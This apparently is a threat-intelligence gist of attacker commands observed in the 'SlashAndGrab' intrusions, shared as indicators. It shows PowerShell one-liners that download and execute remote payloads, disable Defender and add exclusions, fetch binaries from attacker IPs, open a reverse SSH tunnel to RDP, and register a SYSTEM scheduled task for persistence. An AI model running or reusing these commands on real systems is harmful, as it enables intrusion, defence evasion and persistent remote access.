Purp1eW0lf’s gists

Purp1eW0lf / SlashAndGrab_transfer_extract.ps1

Created February 23, 2024 16:30

	$listi = 'hxxps[://]transfer[.]sh/UFQTwgYszH/config14[.]json',
	\'hxxps[://]transfer[.]sh/ATVMNG5Pbu/config13[.]json',
	\'hxxps[://]transfer[.]sh/s27p8BcTxi/config12[.]json',
	\'hxxps[://]transfer[.]sh/ojw6aKoA4A/config11[.]json',
	\'hxxps[://]transfer[.]sh/lyEkHLGt03/config10[.]json',
	\'hxxps[://]transfer[.]sh/8l4d5qR39o/config9[.]json',
	\'hxxps[://]transfer[.]sh/xkIMWnocQH/config8[.]json',
	\'hxxps[://]transfer[.]sh/Db5eUfqKP9/config7[.]json',
	\'hxxps[://]transfer[.]sh/L1e30KShXP/config6[.]json',
	\'hxxps[://]transfer[.]sh/w2Y0iuEKiY/config5[.]json',

Purp1eW0lf / SlashAndGrab_transfer.ps1

Created February 23, 2024 16:29

powershell  -command \"iex ((New-Object System[.]Net[.]WebClient).DownloadString('hxxps[://]transfer[.]sh/gUHRYTNxj8/injcet2[.]ps1'))\"

Purp1eW0lf / SlashAndGrab_curl_dat.ps1

Created February 23, 2024 16:29

curl hxxp[://]minish[.]wiki[.]gd/c[.]pdf -o c:\\programdata\\update[.]dat

Purp1eW0lf / SlashAndGrab_svchost.ps1

Created February 23, 2024 16:27

	#adversary excluded directories and neutralised Defender
	powershell -ep bypass -c \"Set-MpPreference -DisableRealtimeMonitoring $true;

	Set-MpPreference -ExclusionPath C:\\Windows\\Temp;

	#then downloaded their file
	Invoke-WebRequest http://159[.]65[.]130[.]146:4444/svchost.exe -OutFile C:\\Windows\\Temp\\svchost.exe;

	C:\\Windows\\Temp\\svchost.exe

Purp1eW0lf / SlashAndGrab_servicetest2.ps1

Created February 23, 2024 16:25

powershell.exe -command "& Invoke-RestMethod -Uri \"http[:]//91.92.241.199:8080/servicetest2.dll\" -OutFile servicehost.dll

Purp1eW0lf / SlashAndGrab_curl.ps1

Created February 23, 2024 16:24

	curl https[:]//cmctt.]com/pub/media/wysiwyg/sun.png
	curl https[:]//cmctt[.]com/pub/media/wysiwyg/invoke.png

Purp1eW0lf / SlashAndGrab_SSH_download.ps1

Created February 23, 2024 16:23

powershell.exe -c "$p = 9595; iwr -UseBasicParsing aqua[.]oops[.]wtf/d | iex

Purp1eW0lf / SlashAndGrab_chrome_remote.ps1

Created February 23, 2024 16:23

	# Download from Google
	powershell -c (New-Object System.Net.WebClient).DownloadFile('https://dl.google.com/edgedl/chrome-remote-desktop/chromeremotedesktophost.msi', $env:ProgramData+'\\1.msi')

	# Install
	msiexec /i C:\\ProgramData\\1.msi

Purp1eW0lf / SlashAndGrab_SSH.ps1

Created February 23, 2024 16:22

	#Script that initiated SSH
	$r = "C:\ssh\"
	$e = $r + "ssh.exe"
	$g = "aqua.oops.wtf"
	If (!(Test-Path $e)) {
	md $r > $null
	iwr -Uri ($g + "/z") -o ($r + "z.zip")
	Expand-Archive ($r + "z.zip") -d $r
	}
	$args = @("tunnel@" + $g,"-Z lollersk8","-R " + $p + ":localhost:3389","-p 443", "-N","-oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null")

Purp1eW0lf / SlashAndGrab_name_senui.ps1

Created February 23, 2024 16:21

	powershell wget -uri http://185[.]232[.]92[.]32:8888/SentinelUI.exe -OutFile C:\\Windows\\Help\\Help\\SentinelUI.exe;

	wget -uri http://185[.]232[.]92[.]32:8888/Logs.txt -OutFile C:\\Windows\\Help\\Help\\Logs.txt;

	wget -uri http://185[.]232[.]92[.]32:8888/SentinelAgentCore.dll -OutFile C:\\Windows\\Help\\Help\\SentinelAgentCore.dll;

	cmd /c C:\\Windows\\Help\\Help\\SentinelUI.exe;

	SCHTASKS /Create /TN \\Microsoft\\Windows\\Wininet\\UserCache_1708535250863 /TR \"C:\\Windows\\Help\\Help\\SentinelUI.exe\" /RU SYSTEM /SC ONSTART /RL HIGHEST /NP /F /DELAY 0000:05

Dray Agha Purp1eW0lf